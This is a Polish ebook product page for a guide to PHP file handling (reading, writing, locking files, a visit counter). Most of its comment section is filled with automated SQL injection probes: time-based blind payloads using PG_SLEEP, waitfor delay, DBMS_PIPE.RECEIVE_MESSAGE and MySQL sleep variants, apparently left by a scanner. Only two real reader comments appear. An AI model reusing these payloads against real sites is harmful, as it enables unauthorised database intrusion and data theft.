Obsługa plików
Tworząc skrypty lub większe programy, trudno nie zetknąć się z problemem obsługi systemu plików. Logowanie błędów lub zdarzeń serwera, księga gości, liczniki odwiedzin czy choćby prosta baza danych teleadresowych to tylko niektóre z problemów, które można rozwiązać za pomocą zwykłych plików tekstowych. Przykłady zastosowań plików można by mnożyć bez końca. PHP oddaje w Twoje ręce obszerny zbiór gotowych funkcji do obsługi systemu plików. Dzięki nim jesteś w stanie wykonać na plikach niemalże każdą operację. W PHP praca z nimi staje się nie tylko łatwa, ale i przyjemna. Dodatkowo zaoszczędzisz swój cenny czas, korzystając z gotowych i sprawdzonych rozwiązań.
Z tego ebooka dowiesz się:
- Jak otwierać pliki tekstowe oraz binarne w PHP?
- Jak odczytywać i zapisywać zawartość plików tekstowych?
- Jak odczytywać i zapisywać zawartość plików binarnych?
- W jaki sposób zabezpieczyć pliki przed jednoczesnym dostępem kilku użytkowników?
- Jak wykorzystać zdobytą wiedzę do napisania prostego skryptu licznika odwiedzin dla Twojej strony?
Zaloguj się, aby dodać komentarz
Opinie czytelników
~
data: 2026-06-09 08:52:47(select 198766*667891 from DUAL)
~
data: 2026-06-09 08:52:45555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 08:52:44555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 08:52:43555GHC87QXJ') OR 991=(SELECT 991 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:43555KGqrqmeO')) OR 731=(SELECT 731 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:41555-1)) OR 525=(SELECT 525 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:41555ypMBJ03T' OR 193=(SELECT 193 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:39555NhvjtPgO'; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:52:39555-1 OR 119=(SELECT 119 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:39(select 198766*667891 from DUAL)
~
data: 2026-06-09 08:52:39555-1) OR 327=(SELECT 327 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:38(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 08:52:38555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:52:38555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 08:52:38555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 08:52:37555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 08:52:375550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 08:52:37555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 08:52:365556PrDOtUz') OR 91=(SELECT 91 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:36555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 08:52:36555sJkLfJ8L')) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:365550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 08:52:35555-1)) OR 938=(SELECT 938 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:35555nqQRNm96' OR 599=(SELECT 599 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:34555JEn898CL'; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:52:34555-1 OR 483=(SELECT 483 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:34555-1) OR 713=(SELECT 713 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:52:33555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:52:33555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 08:52:33555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 08:52:325550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 08:52:32(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 08:52:315550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 08:52:30555*if(now()=sysdate(),sleep(15),0)
~
data: 2026-06-09 08:51:42(select 198766*667891 from DUAL)
~
data: 2026-06-09 08:51:39555kwSzz5nl')) OR 522=(SELECT 522 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:51:39555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
~
data: 2026-06-09 08:51:39555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
~
data: 2026-06-09 08:51:38555-1)) OR 432=(SELECT 432 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:51:38555rBxVxVTH' OR 962=(SELECT 962 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:51:38555ZGRuTPGP') OR 576=(SELECT 576 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:51:37555JP4ZGOkD'; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:51:37555-1 OR 990=(SELECT 990 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:51:37555-1) OR 249=(SELECT 249 FROM PG_SLEEP(15))--
~
data: 2026-06-09 08:51:36555-1); waitfor delay '0:0:15' --
~
data: 2026-06-09 08:51:36555-1 waitfor delay '0:0:15' --
~
data: 2026-06-09 08:51:355550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
~
data: 2026-06-09 08:51:35(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
~
data: 2026-06-09 08:51:35555-1; waitfor delay '0:0:15' --
~
data: 2026-06-09 08:51:345550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
~
data: 2026-06-09 08:51:33555*if(now()=sysdate(),sleep(15),0)
~ostro_krzysztof
data: 2019-11-22 20:59:23Bardzo dobry ebook. Polecam!
~andrar
data: 2016-12-11 22:41:22Jak na darmowy, to jest w porządku

